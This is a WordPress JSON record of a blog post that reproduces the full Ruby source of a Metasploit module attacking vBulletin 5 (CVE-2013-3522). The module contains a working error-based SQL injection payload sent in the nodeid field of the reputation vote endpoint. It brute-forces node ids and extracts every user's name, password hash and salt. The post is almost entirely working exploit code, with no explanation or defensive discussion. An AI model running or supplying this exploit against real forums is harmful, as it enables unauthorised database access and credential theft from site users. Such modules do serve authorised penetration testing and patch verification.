{"id":59286,"date":"2024-08-31T22:30:14","date_gmt":"2024-08-31T19:30:14","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180631\/vbulletin_vote_sqli.rb.txt"},"modified":"2024-08-31T22:30:14","modified_gmt":"2024-08-31T19:30:14","slug":"vbulletin-password-collector-via-nodeid-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/vbulletin-password-collector-via-nodeid-sql-injection\/","title":{"rendered":"vBulletin Password Collector via nodeid SQL Injection"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;vBulletin Password Collector via nodeid SQL Injection&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a SQL injection vulnerability found in vBulletin 5 that has been<br \/>used in the wild since March 2013. This module can be used to extract the web application&#8217;s<br \/>usernames and hashes, which could be used to authenticate into the vBulletin admin control<br \/>panel.<br \/>},<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;CVE&#8217;, &#8216;2013-3522&#8217; ],<br \/>[ &#8216;OSVDB&#8217;, &#8216;92031&#8217; ],<br \/>[ &#8216;EDB&#8217;, &#8216;24882&#8217; ],<br \/>[ &#8216;BID&#8217;, &#8216;58754&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/www.zempirians.com\/archive\/legion\/vbulletin_5.pl.txt&#8217; ]],<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Orestis Kourides&#8217;, # Vulnerability discovery and PoC<br \/>&#8216;sinn3r&#8217;, # Metasploit module<br \/>&#8216;juan vazquez&#8217; # Metasploit module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2013-03-24&#8217;<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8220;TARGETURI&#8221;, [true, &#8216;The path to vBulletin&#8217;, &#8216;\/&#8217;]),<br \/>OptInt.new(&#8220;NODE&#8221;, [false, &#8216;Valid Node ID&#8217;]),<br \/>OptInt.new(&#8220;MINNODE&#8221;, [true, &#8216;Valid Node ID&#8217;, 1]),<br \/>OptInt.new(&#8220;MAXNODE&#8221;, [true, &#8216;Valid Node ID&#8217;, 100])<br \/>])<br \/>end<\/p>\n<p>def exists_node?(id)<br \/>mark = Rex::Text.rand_text_alpha(8 + rand(5))<br \/>result = do_sqli(id, &#8220;select &#8216;#{mark}'&#8221;)<\/p>\n<p>if result and result =~ \/#{mark}\/<br \/>return true<br \/>end<\/p>\n<p>return false<br \/>end<\/p>\n<p>def brute_force_node<br \/>min = datastore[&#8220;MINNODE&#8221;]max = datastore[&#8220;MAXNODE&#8221;]\n<p>if min &gt; max<br \/>print_error(&#8220;MINNODE can&#8217;t be major than MAXNODE&#8221;)<br \/>return nil<br \/>end<\/p>\n<p>for node_id in min..max<br \/>if exists_node?(node_id)<br \/>return node_id<br \/>end<br \/>end<\/p>\n<p>return nil<br \/>end<\/p>\n<p>def get_node<br \/>if datastore[&#8216;NODE&#8217;].nil? or datastore[&#8216;NODE&#8217;] &lt;= 0<br \/>print_status(&#8220;Brute forcing to find a valid node id&#8230;&#8221;)<br \/>return brute_force_node<br \/>end<\/p>\n<p>print_status(&#8220;Checking node id #{datastore[&#8216;NODE&#8217;]}&#8230;&#8221;)<br \/>if exists_node?(datastore[&#8216;NODE&#8217;])<br \/>return datastore[&#8216;NODE&#8217;]else<br \/>return nil<br \/>end<br \/>end<\/p>\n<p># session maybe isn&#8217;t needed, unauthenticated<br \/>def do_sqli(node, query)<br \/>mark = Rex::Text.rand_text_alpha(5 + rand(3))<br \/>random_and = Rex::Text.rand_text_numeric(4)<br \/>injection = &#8220;) and(select 1 from(select count(*),concat((select (select concat(&#8216;#{mark}&#8217;,cast((#{query}) as char),&#8217;#{mark}&#8217;)) &#8220;<br \/>injection &lt;&lt; &#8220;from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) &#8220;<br \/>injection &lt;&lt; &#8220;AND (#{random_and}=#{random_and}&#8221;<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8220;index.php&#8221;, &#8220;ajax&#8221;, &#8220;api&#8221;, &#8220;reputation&#8221;, &#8220;vote&#8221;),<br \/>&#8216;vars_post&#8217; =&gt;<br \/>{<br \/>&#8216;nodeid&#8217; =&gt; &#8220;#{node}#{injection}&#8221;,<br \/>}<br \/>})<\/p>\n<p>unless res and res.code == 200 and res.body.to_s =~ \/Database error in vBulletin\/<br \/>return nil<br \/>end<\/p>\n<p>data = &#8220;&#8221;<\/p>\n<p>if res.body.to_s =~ \/#{mark}(.*)#{mark}\/<br \/>data = $1<br \/>end<\/p>\n<p>return data<br \/>end<\/p>\n<p>def get_user_data(node_id, user_id)<br \/>user = do_sqli(node_id, &#8220;select username from user limit #{user_id},#{user_id+1}&#8221;)<br \/>pass = do_sqli(node_id, &#8220;select password from user limit #{user_id},#{user_id+1}&#8221;)<br \/>salt = do_sqli(node_id, &#8220;select salt from user limit #{user_id},#{user_id+1}&#8221;)<\/p>\n<p>return [user, pass, salt]end<\/p>\n<p>def check<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8220;index.php&#8221;)<br \/>})<\/p>\n<p>if res and res.code == 200 and res.body.to_s =~ \/&#8221;simpleversion&#8221;: &#8220;v=5\/<br \/>if get_node<br \/># Multiple factors determine this LOOKS vulnerable<br \/>return Msf::Exploit::CheckCode::Appears<br \/>else<br \/># Not enough information about the vuln state, but at least we know this is vbulletin<br \/>return Msf::Exploit::CheckCode::Detected<br \/>end<br \/>end<\/p>\n<p>Msf::Exploit::CheckCode::Safe<br \/>end<\/p>\n<p>def report_cred(opts)<br \/>service_data = {<br \/>address: opts[:ip],<br \/>port: opts[:port],<br \/>service_name: opts[:service_name],<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: opts[:user],<br \/>private_data: opts[:password],<br \/>private_type: :nonreplayable_hash,<br \/>jtr_format: &#8216;md5&#8217;<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::UNTRIED,<br \/>proof: opts[:proof]}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def run<br \/>print_status(&#8220;Checking for a valid node id&#8230;&#8221;)<br \/>node_id = get_node<br \/>if node_id.nil?<br \/>print_error(&#8220;node id not found&#8221;)<br \/>return<br \/>end<\/p>\n<p>print_good(&#8220;Using node id #{node_id} to exploit sqli&#8230; Counting users&#8230;&#8221;)<br \/>data = do_sqli(node_id, &#8220;select count(*) from user&#8221;)<br \/>if data.blank?<br \/>print_error(&#8220;Error exploiting sqli&#8221;)<br \/>return<br \/>end<br \/>count_users = data.to_i<br \/>print_good(&#8220;#{count_users} users found. Collecting credentials&#8230;&#8221;)<\/p>\n<p>users_table = Rex::Text::Table.new(<br \/>&#8216;Header&#8217; =&gt; &#8216;vBulletin Users&#8217;,<br \/>&#8216;Indent&#8217; =&gt; 1,<br \/>&#8216;Columns&#8217; =&gt; [&#8216;Username&#8217;, &#8216;Password Hash&#8217;, &#8216;Salt&#8217;])<\/p>\n<p>for i in 0..count_users<br \/>user = get_user_data(node_id, i)<br \/>unless user.join.empty?<br \/>report_cred(<br \/>ip: rhost,<br \/>port: rport,<br \/>user: user[0],<br \/>password: user[1],<br \/>service_name: (ssl ? &#8220;https&#8221; : &#8220;http&#8221;),<br \/>proof: &#8220;salt: #{user[2]}&#8221;<br \/>)<br \/>users_table &lt;&lt; user<br \/>end<br \/>end<\/p>\n<p>if users_table.rows.length &gt; 0<br \/>print_good(&#8220;#{users_table.rows.length.to_s} credentials successfully collected&#8221;)<br \/>print_line(users_table.to_s)<br \/>else<br \/>print_error(&#8220;Unfortunately the module was unable to extract any credentials&#8221;)<br \/>end<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;vBulletin Password Collector via nodeid SQL Injection&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a SQL injection vulnerability found in vBulletin 5 that has beenused in the wild since March 2013. This module can be used to extract &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59286","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59286","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59286"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59286\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59286"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59286"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59286"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}